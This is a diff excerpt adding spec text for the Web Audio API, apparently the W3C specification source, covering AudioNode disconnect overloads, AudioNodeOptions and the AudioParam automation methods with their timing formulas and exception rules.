+		<pre class=argumentdef for="AudioNode/disconnect(destinationNode, output, input)">
+			destinationNode: The <code>destinationNode</code> parameter is the {{AudioNode}} to disconnect. <span class="synchronous">If there is no connection to the <code>destinationNode</code> from the given input to the given output, an {{InvalidAccessError}} exception MUST be thrown.</span>
+			output: The <code>output</code> parameter is an index describing which output of the {{AudioNode}} from which to disconnect. <span class="synchronous">If this parameter is out-of-bounds, an {{IndexSizeError}} exception MUST be thrown.</span>
+			input: The <code>input</code> parameter is an index describing which input of the destination {{AudioNode}} to disconnect. <span class="synchronous">If this parameter is out-of-bounds, an {{IndexSizeError}} exception MUST be thrown.</span>
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{undefined}}
+		</div>
+
+	: <dfn>disconnect(destinationParam)</dfn>
+	::
+		Disconnects all outputs of the {{AudioNode}}
+		that go to a specific destination
+		{{AudioParam}}. The contribution of this
+		{{AudioNode}} to the computed parameter value
+		goes to 0 when this operation takes effect. The intrinsic
+		parameter value is not affected by this operation.
+
+		<pre class=argumentdef for="AudioNode/disconnect(destinationParam)">
+			destinationParam: The <code>destinationParam</code> parameter is the {{AudioParam}} to disconnect. <span class="synchronous">If there is no connection to the <code>destinationParam</code>, an {{InvalidAccessError}} exception MUST be thrown.</span>
+		</pre>
+		<div>
+			<em>Return type:</em> {{undefined}}
+		</div>
+
+	: <dfn>disconnect(destinationParam, output)</dfn>
+	::
+		Disconnects a specific output of the
+		{{AudioNode}} from a specific destination
+		{{AudioParam}}. The contribution of this
+		{{AudioNode}} to the computed parameter value
+		goes to 0 when this operation takes effect. The intrinsic
+		parameter value is not affected by this operation.
+
+		<pre class=argumentdef for="AudioNode/disconnect(destinationParam, output)">
+			destinationParam: The <code>destinationParam</code> parameter is the {{AudioParam}} to disconnect. <span class="synchronous">If there is no connection to the <code>destinationParam</code>, an {{InvalidAccessError}} exception MUST be thrown.</span>
+			output: The <code>output</code> parameter is an index describing which output of the {{AudioNode}} from which to disconnect. <span class="synchronous">If the <code>parameter</code> is out-of-bounds, an {{IndexSizeError}} exception MUST be thrown.</span>
+		</pre>
+		<div>
+			<em>Return type:</em> {{undefined}}
+		</div>
+</dl>
+
+<h4 dictionary lt="audionodeoptions" id="AudioNodeOptions">
+{{AudioNodeOptions}}</h4>
+
+This specifies the options that can be used in constructing all
+{{AudioNode}}s. All members are optional. However, the specific
+values used for each node depends on the actual node.
+
+<pre class="idl">
+dictionary AudioNodeOptions {
+	unsigned long channelCount;
+	ChannelCountMode channelCountMode;
+	ChannelInterpretation channelInterpretation;
+};
+</pre>
+
+<h5 id="dictionary-audionodeoptions-members">
+Dictionary {{AudioNodeOptions}} Members</h5>
+
+<dl dfn-type=dict-member dfn-for="AudioNodeOptions">
+	: <dfn>channelCount</dfn>
+	:: Desired number of channels for the {{AudioNode/channelCount}} attribute.
+
+	: <dfn>channelCountMode</dfn>
+	:: Desired mode for the {{AudioNode/channelCountMode}} attribute.
+
+	: <dfn>channelInterpretation</dfn>
+	:: Desired mode for the {{AudioNode/channelInterpretation}} attribute.
+</dl>
+
+<!--
+   ███    ██     ██ ████████  ████  ███████  ████████     ███    ████████     ███    ██     ██
+  ██ ██   ██     ██ ██     ██  ██  ██     ██ ██     ██   ██ ██   ██     ██   ██ ██   ███   ███
+ ██   ██  ██     ██ ██     ██  ██  ██     ██ ██     ██  ██   ██  ██     ██  ██   ██  ████ ████
+██     ██ ██     ██ ██     ██  ██  ██     ██ ████████  ██     ██ ████████  ██     ██ ██ ███ ██
+█████████ ██     ██ ██     ██  ██  ██     ██ ██        █████████ ██   ██   █████████ ██     ██
+██     ██ ██     ██ ██     ██  ██  ██     ██ ██        ██     ██ ██    ██  ██     ██ ██     ██
+██     ██  ███████  ████████  ████  ███████  ██        ██     ██ ██     ██ ██     ██ ██     ██
+-->
+
+<h3 interface lt="audioparam" id="AudioParam">
+The {{AudioParam}} Interface</h3>
+
+{{AudioParam}} controls an individual aspect of an
+{{AudioNode}}'s functionality, such as volume. The
+parameter can be set immediately to a particular value using the
+<code>value</code> attribute. Or, value changes can be scheduled to
+happen at very precise times (in the coordinate system of
+{{AudioContext}}'s {{BaseAudioContext/currentTime}} attribute), for envelopes, volume
+fades, LFOs, filter sweeps, grain windows, etc. In this way,
+arbitrary timeline-based automation curves can be set on any
+{{AudioParam}}. Additionally, audio signals from the
+outputs of {{AudioNode}}s can be connected to an
+{{AudioParam}}, summing with the <em>intrinsic</em>
+parameter value.
+
+Some synthesis and processing {{AudioNode}}s have
+{{AudioParam}}s as attributes whose values MUST be taken
+into account on a per-audio-sample basis. For other
+{{AudioParam}}s, sample-accuracy is not important and the
+value changes can be sampled more coarsely. Each individual
+{{AudioParam}} will specify that it is either an
+<a>a-rate</a> parameter which means that its values MUST be taken
+into account on a per-audio-sample basis, or it is a <a>k-rate</a>
+parameter.
+
+Implementations MUST use block processing, with each
+{{AudioNode}} processing one <a>render quantum</a>.
+
+For each <a>render quantum</a>,
+the value of a <dfn id="k-rate">k-rate</dfn> parameter MUST be sampled at the time of the
+very first sample-frame, and that value MUST be used for the entire
+block. <dfn id="a-rate">a-rate</dfn> parameters MUST be sampled for
+each sample-frame of the block.
+Depending on the {{AudioParam}}, its rate can be controlled by setting
+the {{AudioParam/automationRate}} attribute to either
+"{{AutomationRate/a-rate}}" or "{{AutomationRate/k-rate}}".  See the
+description of the individual {{AudioParam}}s for further details.
+
+Each {{AudioParam}} includes {{AudioParam/minValue}} and {{AudioParam/maxValue}} attributes that together form
+the <dfn>simple nominal range</dfn> for the parameter. In effect,
+value of the parameter is clamped to the range \([\mathrm{minValue},
+\mathrm{maxValue}]\). See [[#computation-of-value]] for full details.
+
+For many {{AudioParam}}s the {{AudioParam/minValue}} and {{AudioParam/maxValue}} is intended to be set to the maximum
+possible range. In this case, {{AudioParam/maxValue}} should be set to the
+<dfn>most-positive-single-float</dfn> value, which is 3.4028235e38.
+(However, in JavaScript which only supports IEEE-754 double precision
+float values, this must be written as 3.4028234663852886e38.)
+Similarly, {{AudioParam/minValue}} should be set
+to the <dfn>most-negative-single-float</dfn> value, which is the
+negative of the <a>most-positive-single-float</a>: -3.4028235e38.
+(Similarly, this must be written in JavaScript as
+-3.4028234663852886e38.)
+
+An {{AudioParam}} maintains a list of zero or more <dfn id="dfn-automation-event">automation events</dfn>. Each automation event
+specifies changes to the parameter's value over a specific time
+range, in relation to its <dfn>automation event time</dfn> in the
+time coordinate system of the {{AudioContext}}'s
+{{BaseAudioContext/currentTime}} attribute. The
+list of automation events is maintained in ascending order of
+automation event time.
+
+The behavior of a given automation event is a function of the
+{{AudioContext}}'s current time, as well as the automation event
+times of this event and of adjacent events in the list. The following
+<dfn id="dfn-automation-method" lt="automation method">automation methods</dfn> change the
+event list by adding a new event to the event list, of a type
+specific to the method:
+
+* {{AudioParam/setValueAtTime()}} - <code>SetValue</code>
+* {{AudioParam/linearRampToValueAtTime()}} - <code>LinearRampToValue</code>
+* {{AudioParam/exponentialRampToValueAtTime()}} - <code>ExponentialRampToValue</code>
+* {{AudioParam/setTargetAtTime()}} - <code>SetTarget</code>
+* {{AudioParam/setValueCurveAtTime()}} - <code>SetValueCurve</code>
+
+The following rules will apply when calling these methods:
+
+* <a>Automation event times</a> are
+	not quantized with respect to the prevailing sample rate. Formulas
+	for determining curves and ramps are applied to the exact numerical
+	times given when scheduling events.
+
+* If one of these events is added at a time where there is already
+	one or more events, then it will be placed in the list after them,
+	but before events whose times are after the event.
+
+* <span class="synchronous">If <a
+	data-link-for="AudioParam">setValueCurveAtTime()</a> is called for time \(T\)
+	and duration \(D\) and there are any events having a time strictly greater than
+	\(T\), but strictly less than \(T + D\), then a {{NotSupportedError}} exception
+	MUST be thrown.</span> In other words, it's not ok to schedule a value curve
+	during a time period containing other events, but it's ok to schedule a value
+	curve exactly at the time of another event.
+
+* <span class="synchronous">Similarly a
+	{{NotSupportedError}} exception MUST be thrown if any
+	<a href="#dfn-automation-method">automation method</a> is called at
+	a time which is contained in \([T, T+D)\), \(T\) being the time of the curve
+	and \(D\) its duration.
+	</span>
+
+Note: {{AudioParam}} attributes are read only, with the exception
+of the {{AudioParam/value}} attribute.
+
+The automation rate of an {{AudioParam}} can be selected setting the
+{{AudioParam/automationRate}} attribute with one of the following
+values.  However, some {{AudioParam}}s have constraints on whether the
+automation rate can be changed.
+
+<pre class="idl">
+enum AutomationRate {
+	"a-rate",
+	"k-rate"
+};
+</pre>
+
+<div class="enum-description">
+<table class="simple" dfn-type=enum-value dfn-for="AutomationRate">
+	<thead>
+		<tr>
+		<th scope="col" colspan="2">
+			Enumeration description
+		</th>
+		</tr>
+	<tbody>
+	<tr>
+		<td>
+			"<dfn>a-rate</dfn>"
+		</td>
+		<td>
+			This {{AudioParam}} is set for [=a-rate=] processing.
+		</td>
+	</tr>
+	<tr>
+		<td>
+			"<dfn>k-rate</dfn>"
+		</td>
+		<td>
+			This {{AudioParam}} is set for [=k-rate=] processing.
+		</td>
+	</tr>
+</table>
+</div>
+
+Each {{AudioParam}} has an internal slot <dfn attribute for=AudioParam>[[current value]]</dfn>,
+initially set to the {{AudioParam}}'s {{AudioParam/defaultValue}}.
+
+<pre class="idl">
+[Exposed=Window]
+interface AudioParam {
+	attribute float value;
+	attribute AutomationRate automationRate;
+	readonly attribute float defaultValue;
+	readonly attribute float minValue;
+	readonly attribute float maxValue;
+	AudioParam setValueAtTime (float value, double startTime);
+	AudioParam linearRampToValueAtTime (float value, double endTime);
+	AudioParam exponentialRampToValueAtTime (float value, double endTime);
+	AudioParam setTargetAtTime (float target, double startTime, float timeConstant);
+	AudioParam setValueCurveAtTime (sequence&lt;float> values,
+	                                double startTime,
+	                                double duration);
+	AudioParam cancelScheduledValues (double cancelTime);
+	AudioParam cancelAndHoldAtTime (double cancelTime);
+};
+</pre>
+
+<h4 id="AudioParam-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="AudioParam">
+	: <dfn>automationRate</dfn>
+	::
+		The automation rate for the {{AudioParam}}.  The
+		default value depends on the actual {{AudioParam}};
+		see the description of each individual {{AudioParam}} for the
+		default value.
+
+		Some nodes have additional <dfn dfn>automation rate constraints</dfn> as follows:
+
+		: {{AudioBufferSourceNode}}
+		::
+			The {{AudioParam}}s
+			{{AudioBufferSourceNode/playbackRate}} and
+			{{AudioBufferSourceNode/detune}} MUST be
+			"{{AutomationRate/k-rate}}". <span
+			class="synchronous">An {{InvalidStateError}}
+			must be thrown if the rate is changed to
+			"{{AutomationRate/a-rate}}"</span>.
+
+		: {{DynamicsCompressorNode}}
+		::
+			The {{AudioParam}}s
+			{{DynamicsCompressorNode/threshold}},
+			{{DynamicsCompressorNode/knee}},
+			{{DynamicsCompressorNode/ratio}},
+			{{DynamicsCompressorNode/attack}}, and
+			{{DynamicsCompressorNode/release}}
+			MUST be "{{AutomationRate/k-rate}}".  <span
+			class="synchronous">An {{InvalidStateError}}
+			must be thrown if the rate is changed to
+			"{{AutomationRate/a-rate}}"</span>.
+
+		: {{PannerNode}}
+		::
+			If the {{PannerNode/panningModel}} is
+			"{{PanningModelType/HRTF}}", the setting of
+			the {{AudioParam/automationRate}} for any
+			{{AudioParam}} of the {{PannerNode}} is ignored.
+			Likewise, the setting of the
+			{{AudioParam/automationRate}} for any {{AudioParam}}
+			of the {{AudioListener}} is ignored.  In this
+			case, the {{AudioParam}} behaves as if the
+			{{AudioParam/automationRate}} were set to
+			"{{AutomationRate/k-rate}}".
+
+	: <dfn>defaultValue</dfn>
+	::
+		Initial value for the <code>value</code> attribute.
+
+	: <dfn>maxValue</dfn>
+	::
+		The nominal maximum value that the parameter can take. Together
+		with <code>minValue</code>, this forms the <a>nominal range</a>
+		for this parameter.
+
+	: <dfn>minValue</dfn>
+	::
+		The nominal minimum value that the parameter can take. Together
+		with <code>maxValue</code>, this forms the <a>nominal range</a>
+		for this parameter.
+
+	: <dfn>value</dfn>
+	::
+		The parameter's floating-point value. This attribute is
+		initialized to the <code>defaultValue</code>.
+
+		Getting this attribute returns the contents of the
+		{{[[current value]]}} slot. See
+		[[#computation-of-value]] for the algorithm for the
+		value that is returned.
+
+		Setting this attribute has the effect of assigning the
+		requested value to the {{[[current value]]}} slot, and
+		calling the <a data-link-for="AudioParam">setValueAtTime()</a>
+		method with the current {{AudioContext}}'s
+		<code>currentTime</code> and {{[[current value]]}}. Any
+		exceptions that would be thrown by
+		<code>setValueAtTime()</code> will also be thrown by setting
+		this attribute.
+</dl>
+
+<h4 id="AudioParam-methods">
+Methods</h4>
+
+<dl dfn-type=method dfn-for="AudioParam">
+	: <dfn>cancelAndHoldAtTime(cancelTime)</dfn>
+	::
+		This is similar to {{AudioParam/cancelScheduledValues()}} in that it cancels all
+		scheduled parameter changes with times greater than or equal to
+		{{AudioParam/cancelAndHoldAtTime()/cancelTime!!argument}}. However, in addition, the automation
+		value that would have happened at {{AudioParam/cancelAndHoldAtTime()/cancelTime!!argument}} is
+		then proprogated for all future time until other automation
+		events are introduced.
+
+		The behavior of the timeline in the face of
+		{{AudioParam/cancelAndHoldAtTime()}} when automations are running
+		and can be introduced at any time after calling
+		{{AudioParam/cancelAndHoldAtTime()}} and before
+		{{AudioParam/cancelAndHoldAtTime()/cancelTime!!argument}} is reached is quite complicated. The
+		behavior of {{AudioParam/cancelAndHoldAtTime()}} is therefore
+		specified in the following algorithm.
+
+		<div algorithm="cancel and hold">
+			Let \(t_c\) be the value of {{AudioParam/cancelAndHoldAtTime()/cancelTime!!argument}}. Then
+
+			1. Let \(E_1\) be the event (if any) at time \(t_1\) where
+				\(t_1\) is the largest number satisfying \(t_1 \le t_c\).
+
+			2. Let \(E_2\) be the event (if any) at time \(t_2\) where
+				\(t_2\) is the smallest number satisfying \(t_c \lt t_2\).
+
+			3. If \(E_2\) exists:
+				1. If \(E_2\) is a linear or exponential ramp,
+					1. Effectively rewrite \(E_2\) to be the same kind of
+						ramp ending at time \(t_c\) with an end value that
+						would be the value of the original ramp at time
+						\(t_c\).
+						<img alt="Graphical representation of calling cancelAndHoldAtTime when linearRampToValueAtTime has been called at this time." src="images/cancel-linear.svg" style="height:75%;width:75%">
+
+					2. Go to step 5.
+
+				2. Otherwise, go to step 4.
+
+			4. If \(E_1\) exists:
+				1. If \(E_1\) is a <code>setTarget</code> event,
+					1. Implicitly insert a <code>setValueAtTime</code>
+						event at time \(t_c\) with the value that the
+						<code>setTarget</code> would have at time
+						\(t_c\).
+						<img alt="Graphical representation of calling cancelAndHoldAtTime when setTargetAtTime has been called at this time" src="images/cancel-setTarget.svg" style="height:75%;width:75%">
+
+					2. Go to step 5.
+
+				2. If \(E_1\) is a <code>setValueCurve</code> with a start
+					time of \(t_3\) and a duration of \(d\)
+
+					1. If \(t_c \gt t_3 + d\), go to step 5.
+
+					2. Otherwise,
+						1. Effectively replace this event with a
+							<code>setValueCurve</code> event with a start time
+							of \(t_3\) and a new duration of \(t_c-t_3\).
+							However, this is not a true replacement; this
+							automation MUST take care to produce the same
+							output as the original, and not one computed using
+							a different duration. (That would cause sampling of
+							the value curve in a slightly different way,
+							producing different results.)
+							<img alt="Graphical representation of calling cancelAndHoldAtTime when setValueCurve has been called at this time" src="images/cancel-setValueCurve.svg" style="height:75%;width:75%">
+
+						2. Go to step 5.
+
+			5. Remove all events with time greater than \(t_c\).
+
+			If no events are added, then the automation value after
+			{{AudioParam/cancelAndHoldAtTime()}} is the constant value that
+			the original timeline would have had at time \(t_c\).
+		</div>
+
+		<div class="correction proposed" id="c127-1">
+			<span class="marker">Candidate Correction Issue 127:</span>
+			<div class="amendment-buttons">
+				Buttons here
+			</div>
+			A {{RangeError}} is only thrown for negative cancelTime values for
+			cancelAndHoldAtTime and cancelScheduledValues.  See <a
+			href="https://github.com/WebAudio/web-audio-api-v2/issues/127">Issue 127</a>
+		</div>
+		<pre class=argumentdef for="AudioParam/cancelAndHoldAtTime()">
+			cancelTime: The time after which any previously scheduled parameter changes will be cancelled. It is a time in the same time coordinate system as the {{AudioContext}}'s {{BaseAudioContext/currentTime}} attribute.  <span class="synchronous">A {{RangeError}} exception MUST be thrown if <code>cancelTime</code> is negative<del cite=#c127-1> or is not a finite number</del>. If {{AudioParam/cancelAndHoldAtTime()/cancelTime}} is less than {{BaseAudioContext/currentTime}}, it is clamped to {{BaseAudioContext/currentTime}}.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{AudioParam}}
+		</div>
+
+	: <dfn>cancelScheduledValues(cancelTime)</dfn>
+	::
+		Cancels all scheduled parameter changes with times greater than
+		or equal to {{AudioParam/cancelScheduledValues()/cancelTime!!argument}}. Cancelling a scheduled
+		parameter change means removing the scheduled event from the
+		event list. Any active automations whose <a>automation event time</a> is less
+		than {{AudioParam/cancelScheduledValues()/cancelTime!!argument}} are also cancelled, and such
+		cancellations may cause discontinuities because the original
+		value (from before such automation) is restored immediately. Any
+		hold values scheduled by {{AudioParam/cancelAndHoldAtTime()}}
+		are also removed if the hold time occurs after
+		{{AudioParam/cancelScheduledValues()/cancelTime!!argument}}.
+
+		For a {{AudioParam/setValueCurveAtTime()}}, let \(T_0\) and \(T_D\) be the corresponding
+		{{AudioParam/setValueCurveAtTime()/startTime!!argument}} and {{AudioParam/setValueCurveAtTime()/duration!!argument}}, respectively of this event.
+		Then if {{AudioParam/cancelScheduledValues()/cancelTime!!argument}}
+		is in the range \([T_0, T_0 + T_D]\), the event is
+		removed from the timeline.
+
+		<pre class=argumentdef for="AudioParam/cancelScheduledValues()">
+			cancelTime: The time after which any previously scheduled parameter changes will be cancelled. It is a time in the same time coordinate system as the {{AudioContext}}'s {{BaseAudioContext/currentTime}} attribute.  <span class="synchronous">A {{RangeError}} exception MUST be thrown if <code>cancelTime</code> is negative<del cite=#c127-1> or is not a finite number</del>.</span> If <code>cancelTime</code> is less than {{BaseAudioContext/currentTime}}, it is clamped to {{BaseAudioContext/currentTime}}.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{AudioParam}}
+		</div>
+
+	: <dfn>exponentialRampToValueAtTime(value, endTime)</dfn>
+	::
+		Schedules an exponential continuous change in parameter value
+		from the previous scheduled parameter value to the given value.
+		Parameters representing filter frequencies and playback rate
+		are best changed exponentially because of the way humans
+		perceive sound.
+
+		The value during the time interval \(T_0 \leq t &lt; T_1\)
+		(where \(T_0\) is the time of the previous event and \(T_1\) is
+		the {{AudioParam/exponentialRampToValueAtTime()/endTime!!argument}} parameter passed into this method)
+		will be calculated as:
+
+		<pre nohighlight>
+		$$
+			v(t) = V_0 \left(\frac{V_1}{V_0}\right)^\frac{t - T_0}{T_1 - T_0}
+		$$
+		</pre>
+
+		where \(V_0\) is the value at the time \(T_0\) and \(V_1\) is
+		the {{AudioParam/exponentialRampToValueAtTime()/value!!argument}} parameter passed into this method. If
+		\(V_0\) and \(V_1\) have opposite signs or if \(V_0\) is zero,
+		then \(v(t) = V_0\) for \(T_0 \le t \lt T_1\).
+
+		This also implies an exponential ramp to 0 is not possible. A
+		good approximation can be achieved using {{AudioParam/setTargetAtTime()}} with an appropriately chosen
+		time constant.
+
+		If there are no more events after this <em>ExponentialRampToValue</em>
+		event then for \(t \geq T_1\), \(v(t) = V_1\).
+
+		If there is no event preceding this event, the exponential ramp
+		behaves as if {{AudioParam/setValueAtTime()|setValueAtTime(value, currentTime)}}
+		were called where <code>value</code> is the current value of
+		the attribute and <code>currentTime</code> is the context
+		{{BaseAudioContext/currentTime}} at the time
+		{{AudioParam/exponentialRampToValueAtTime()}} is called.
+
+		If the preceding event is a <code>SetTarget</code> event, \(T_0\)
+		and \(V_0\) are chosen from the current time and value of
+		<code>SetTarget</code> automation. That is, if the
+		<code>SetTarget</code> event has not started, \(T_0\) is the start
+		time of the event, and \(V_0\) is the value just before the
+		<code>SetTarget</code> event starts. In this case, the
+		<code>ExponentialRampToValue</code> event effectively replaces the
+		<code>SetTarget</code> event. If the <code>SetTarget</code> event has
+		already started, \(T_0\) is the current context time, and
+		\(V_0\) is the current <code>SetTarget</code> automation value at
+		time \(T_0\). In both cases, the automation curve is
+		continuous.
+
+		<pre class=argumentdef for="AudioParam/exponentialRampToValueAtTime()">
+			value: The value the parameter will exponentially ramp to at the given time. <span class="synchronous">A {{RangeError}} exception MUST be thrown if this value is equal to 0.</span>
+			endTime: The time in the same time coordinate system as the {{AudioContext}}'s {{BaseAudioContext/currentTime}} attribute where the exponential ramp ends. <span class="synchronous">A {{RangeError}} exception MUST be thrown if <code>endTime</code> is negative or is not a finite number.</span> If <var>endTime</var> is less than {{BaseAudioContext/currentTime}}, it is clamped to {{BaseAudioContext/currentTime}}.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{AudioParam}}
+		</div>
+
+	: <dfn>linearRampToValueAtTime(value, endTime)</dfn>
+	::
+		Schedules a linear continuous change in parameter value from
+		the previous scheduled parameter value to the given value.
+
+		The value during the time interval \(T_0 \leq t &lt; T_1\)
+		(where \(T_0\) is the time of the previous event and \(T_1\) is
+		the {{AudioParam/linearRampToValueAtTime()/endTime!!argument}} parameter passed into this method)
+		will be calculated as:
+
+		<pre nohighlight>
+		$$
+			v(t) = V_0 + (V_1 - V_0) \frac{t - T_0}{T_1 - T_0}
+		$$
+		</pre>
+
+		where \(V_0\) is the value at the time \(T_0\) and \(V_1\) is
+		the {{AudioParam/linearRampToValueAtTime()/value!!argument}} parameter passed into this method.
+
+		If there are no more events after this <em>LinearRampToValue</em> event
+		then for \(t \geq T_1\), \(v(t) = V_1\).
+
+		If there is no event preceding this event, the linear ramp
+		behaves as if {{AudioParam/setValueAtTime()|setValueAtTime(value, currentTime)}}
+		were called where <code>value</code> is the current value of
+		the attribute and <code>currentTime</code> is the context
+		{{BaseAudioContext/currentTime}} at the time
+		{{AudioParam/linearRampToValueAtTime()}} is called.
+
+		If the preceding event is a <code>SetTarget</code> event, \(T_0\)
+		and \(V_0\) are chosen from the current time and value of
+		<code>SetTarget</code> automation. That is, if the
+		<code>SetTarget</code> event has not started, \(T_0\) is the start
+		time of the event, and \(V_0\) is the value just before the
+		<code>SetTarget</code> event starts. In this case, the
+		<code>LinearRampToValue</code> event effectively replaces the
+		<code>SetTarget</code> event. If the <code>SetTarget</code> event has
+		already started, \(T_0\) is the current context time, and
+		\(V_0\) is the current <code>SetTarget</code> automation value at
+		time \(T_0\). In both cases, the automation curve is
+		continuous.
+
+		<pre class=argumentdef for="AudioParam/linearRampToValueAtTime()">
+			value: The value the parameter will linearly ramp to at the given time.
+			endTime: The time in the same time coordinate system as the {{AudioContext}}'s {{BaseAudioContext/currentTime}} attribute at which the automation ends. <span class="synchronous">A {{RangeError}} exception MUST be thrown if <code>endTime</code> is negative or is not a finite number.</span> If <var>endTime</var> is less than {{BaseAudioContext/currentTime}}, it is clamped to {{BaseAudioContext/currentTime}}.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{AudioParam}}
+		</div>
+
+	: <dfn>setTargetAtTime(target, startTime, timeConstant)</dfn>
+	::
+		Start exponentially approaching the target value at the given
+		time with a rate having the given time constant. Among other
+		uses, this is useful for implementing the "decay" and "release"
+		portions of an ADSR envelope. Please note that the parameter
+		value does not immediately change to the target value at the
+		given time, but instead gradually changes to the target value.
+
+		During the time interval: \(T_0 \leq t\), where \(T_0\) is the
+		{{AudioParam/setTargetAtTime()/startTime!!argument}} parameter:
+
+		<pre nohighlight>
+		$$
+			v(t) = V_1 + (V_0 - V_1)\, e^{-\left(\frac{t - T_0}{\tau}\right)}
+		$$
+		</pre>
+
+		where \(V_0\) is the initial value (the {{[[current value]]}}
+		attribute) at \(T_0\) (the {{AudioParam/setTargetAtTime()/startTime!!argument}} parameter),
+		\(V_1\) is equal to the {{AudioParam/setTargetAtTime()/target!!argument}} parameter, and
+		\(\tau\) is the {{AudioParam/setTargetAtTime()/timeConstant!!argument}} parameter.
+
+		If a <code>LinearRampToValue</code> or
+		<code>ExponentialRampToValue</code> event follows this event, the
+		behavior is described in {{AudioParam/linearRampToValueAtTime()}} or
+		{{AudioParam/exponentialRampToValueAtTime()}},
+		respectively. For all other events, the <code>SetTarget</code>
+		event ends at the time of the next event.
+
+		<pre class=argumentdef for="AudioParam/setTargetAtTime()">
+			target: The value the parameter will <em>start</em> changing to at the given time.
+			startTime: The time at which the exponential approach will begin, in the same time coordinate system as the {{AudioContext}}'s {{BaseAudioContext/currentTime}} attribute. <span class="synchronous">A {{RangeError}} exception MUST be thrown if <code>start</code> is negative or is not a finite number.</span> If <var>startTime</var> is less than {{BaseAudioContext/currentTime}}, it is clamped to {{BaseAudioContext/currentTime}}.
+			timeConstant: The time-constant value of first-order filter (exponential) approach to the target value. The larger this value is, the slower the transition will be. <span class="synchronous">The value MUST be non-negative or a {{RangeError}} exception MUST be thrown.</span> If <code>timeConstant</code> is zero, the output value jumps immediately to the final value. More precisely, <em>timeConstant</em> is the time it takes a first-order linear continuous time-invariant system to reach the value \(1 - 1/e\) (around 63.2%) given a step input response (transition from 0 to 1 value).
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{AudioParam}}
+		</div>
+
+	: <dfn>setValueAtTime(value, startTime)</dfn>
+	::
+		Schedules a parameter value change at the given time.
+
+		If there are no more events after this <code>SetValue</code> event,
+		then for \(t \geq T_0\), \(v(t) = V\), where \(T_0\) is the
+		{{AudioParam/setValueAtTime()/startTime!!argument}} parameter and \(V\) is the
+		{{AudioParam/setValueAtTime()/value!!argument}} parameter. In other words, the value will
+		remain constant.
+
+		If the next event (having time \(T_1\)) after this
+		<code>SetValue</code> event is not of type
+		<code>LinearRampToValue</code> or <code>ExponentialRampToValue</code>,
+		then, for \(T_0 \leq t &lt; T_1\):
+
+		<pre nohighlight>
+		$$
+			v(t) = V
+		$$
+		</pre>
+
+		In other words, the value will remain constant during this time
+		interval, allowing the creation of "step" functions.
+
+		If the next event after this <code>SetValue</code> event is of type
+		<code>LinearRampToValue</code> or <code>ExponentialRampToValue</code>
+		then please see {{AudioParam/linearRampToValueAtTime()}} or
+		{{AudioParam/exponentialRampToValueAtTime()}},
+		respectively.
+
+		<pre class=argumentdef for="AudioParam/setValueAtTime()">
+			value: The value the parameter will change to at the given time.
+			startTime: The time in the same time coordinate system as the {{BaseAudioContext}}'s {{BaseAudioContext/currentTime}} attribute at which the parameter changes to the given value. <span class="synchronous">A {{RangeError}} exception MUST be thrown if <code>startTime</code> is negative or is not a finite number.</span> If <var>startTime</var> is less than {{BaseAudioContext/currentTime}}, it is clamped to {{BaseAudioContext/currentTime}}.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{AudioParam}}
+		</div>
+
+	: <dfn>setValueCurveAtTime(values, startTime, duration)</dfn>
+	::
+		Sets an array of arbitrary parameter values starting at the
+		given time for the given duration. The number of values will be
+		scaled to fit into the desired duration.
+
+		Let \(T_0\) be {{AudioParam/setValueCurveAtTime()/startTime!!argument}}, \(T_D\) be
+		{{AudioParam/setValueCurveAtTime()/duration!!argument}}, \(V\) be the {{AudioParam/setValueCurveAtTime()/values!!argument}} array,
+		and \(N\) be the length of the {{AudioParam/setValueCurveAtTime()/values!!argument}} array. Then,
+		during the time interval: \(T_0 \le t &lt; T_0 + T_D\), let
+
+		<pre nohighlight>
+		$$
+			\begin{align*} k &amp;= \left\lfloor \frac{N - 1}{T_D}(t-T_0) \right\rfloor \\
+			\end{align*}
+		$$
+		</pre>
+
+		Then \(v(t)\) is computed by linearly interpolating between
+		\(V[k]\) and \(V[k+1]\),
+
+		After the end of the curve time interval (\(t \ge T_0 + T_D\)),
+		the value will remain constant at the final curve value, until
+		there is another automation event (if any).
+
+		An implicit call to {{AudioParam/setValueAtTime()}} is made at time \(T_0 +
+		T_D\) with value \(V\[N-1]\) so that following automations will
+		start from the end of the {{AudioParam/setValueCurveAtTime()}} event.
+
+		<pre class=argumentdef for="AudioParam/setValueCurveAtTime()">
+			values: A sequence of float values representing a parameter value curve. These values will apply starting at the given time and lasting for the given duration. When this method is called, an internal copy of the curve is created for automation purposes. Subsequent modifications of the contents of the passed-in array therefore have no effect on the {{AudioParam}}. <span class="synchronous">An {{InvalidStateError}} MUST be thrown if this attribute is a <code>sequence&lt;float></code> object that has a length less than 2.</span>
+			startTime: The start time in the same time coordinate system as the {{AudioContext}}'s {{BaseAudioContext/currentTime}} attribute at which the value curve will be applied. <span class="synchronous">A {{RangeError}} exception MUST be thrown if <code>startTime</code> is negative or is not a finite number</span>. If <var>startTime</var> is less than {{BaseAudioContext/currentTime}}, it is clamped to {{BaseAudioContext/currentTime}}.
+			duration: The amount of time in seconds (after the <code>startTime</code> parameter) where values will be calculated according to the <code>values</code> parameter. <span class="synchronous">A {{RangeError}} exception MUST be thrown if <code>duration</code> is not strictly positive or is not a finite number</span>.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{AudioParam}}
+		</div>
+</dl>
+
+<h4 id="computation-of-value">
+Computation of Value</h4>
+
+There are two different kind of {{AudioParam}}s, <a>simple
+parameters</a> and <a>compound parameters</a>.
+<dfn lt="simple parameter">Simple parameters</dfn> (the default) are used
+on their own to compute the final audio output of an
+{{AudioNode}}. <dfn lt="compound parameter">Compound
+parameters</dfn> are {{AudioParam}}s that are used with other
+{{AudioParam}}s to compute a value that is then used as an input
+to compute the output of an {{AudioNode}}.
+
+The <dfn>computedValue</dfn> is the final value controlling the audio
+DSP and is computed by the audio rendering thread during each
+rendering time quantum.
+
+<div algorithm="computation-of-value">
+The computation of the value of an {{AudioParam}} consists of two parts:
+	- the <var>paramIntrinsicValue</var> value that is computed from the {{AudioParam/value}}
+		attribute and any <a href="#dfn-automation-event">automation events</a>.
+	- the <var>paramComputedValue</var> that is the final value controlling the
+		audio DSP and is computed by the audio rendering thread during each
+		<a>render quantum</a>.
+
+These values MUST be computed as follows:
+
